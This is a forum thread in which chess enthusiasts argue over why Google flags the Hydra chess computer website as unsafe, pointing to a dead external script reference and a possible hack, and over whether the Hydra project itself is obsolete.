To Christopher:
What does my internet provider have to do with what google says? Will google say 1 page is good for some people and bad for other people based on their internet provider?
If you went there and had a problem about how the site looked.....
With regard to your internet provider, the reason I gave may be why some (in the past as well) have found the Hydra site to be slow and not show correctly for them. It could be that what your internet provider gives you as hardware is what causes that problem.
If you were worried about going there to see the site......
Google on the other hand flags the site as unsafe possibly because there is external javascript in the code of the site. The thing is that while that script (w.js) mentioned above is in the code, it does not exist nor does the site itself where it was hosted. This begs the question, should the script be there. Has the page been hacked and the code written into the page maliciously or is that reference to that script just old/broken and legitimate. Either way the page does not/can not run the script.
So to answer the question you had.....
Is the site safe to visit?
Yes, IMO right now it is. If the reference to that script were taken away from the page, Google might say it was safe too.
Maybe it would be wise to send one of the Hydra team the above information if you are still concerned.

Google is not saying the site is ugly, slow or not working properly because of poor design or missing code. Google is saying the site is dangerous as in criminal like stealing passwords, sending spam, working as part of botnet or sending viruses. If you went to the site and did not see a problem then maybe the virus is hiding itself well while its doing its criminal activity.
Google has said the site is dangerous for a while and the hydra team has not fixed this. Hydra has not played since 2006. Maybe hydra .com was hacked. The hydra owners don’t know or don’t care because the hydra project is dead.
The owners of hydra built hydra to showoff their high technology skill, to attract attention to their business. The same way ibm built deep blue. But in 2006 a pc beat the world champion. So building a super strong chess computer is no big deal in 2006. So they dropped the hydra project.

Sitadvisor, AVG and WOT all say the site is safe. It depends whose opinion you prefer.

You were saying in 2006 that they should shut the project down.

The last news on the website is from 06/07/2008. I agree its not the fastest moving place in the world.

I don’t want to stay away from scripts. I want to stay away from criminals who use scripts. The google warning is useful. Internet explorer can also turn off scripts. I imagine every browser can turn off scripts.

I guess google caught things Sitadvisor, AVG and WOT didn’t find. I think next time I need to check if website is dangerous I will use google.
I explained why hydra should be shut down. They are spending a lot of time and money to beat the world champion. When all you need is a pc with fritz. If they win the world computer championship it’s also no big deal because hydra is just beating a bunch PCs. This will not impress the general public.
Is the 6/7/2008 news on the hydra website about hydra? Or is the news just an external feed from chessbase about chess in general. Except for this general news about chess there was no change to hydra or hydra .com since 2006. So hydra and hydra .com appear to be dead.

One more time for those who think they eat humans but actually have no teeth.
The script, (it's one script) is not there and cannot be run. No one here even knows what it was and if it was malicious.

You guess? I know, because Google did not tell you what it thinks it caught.
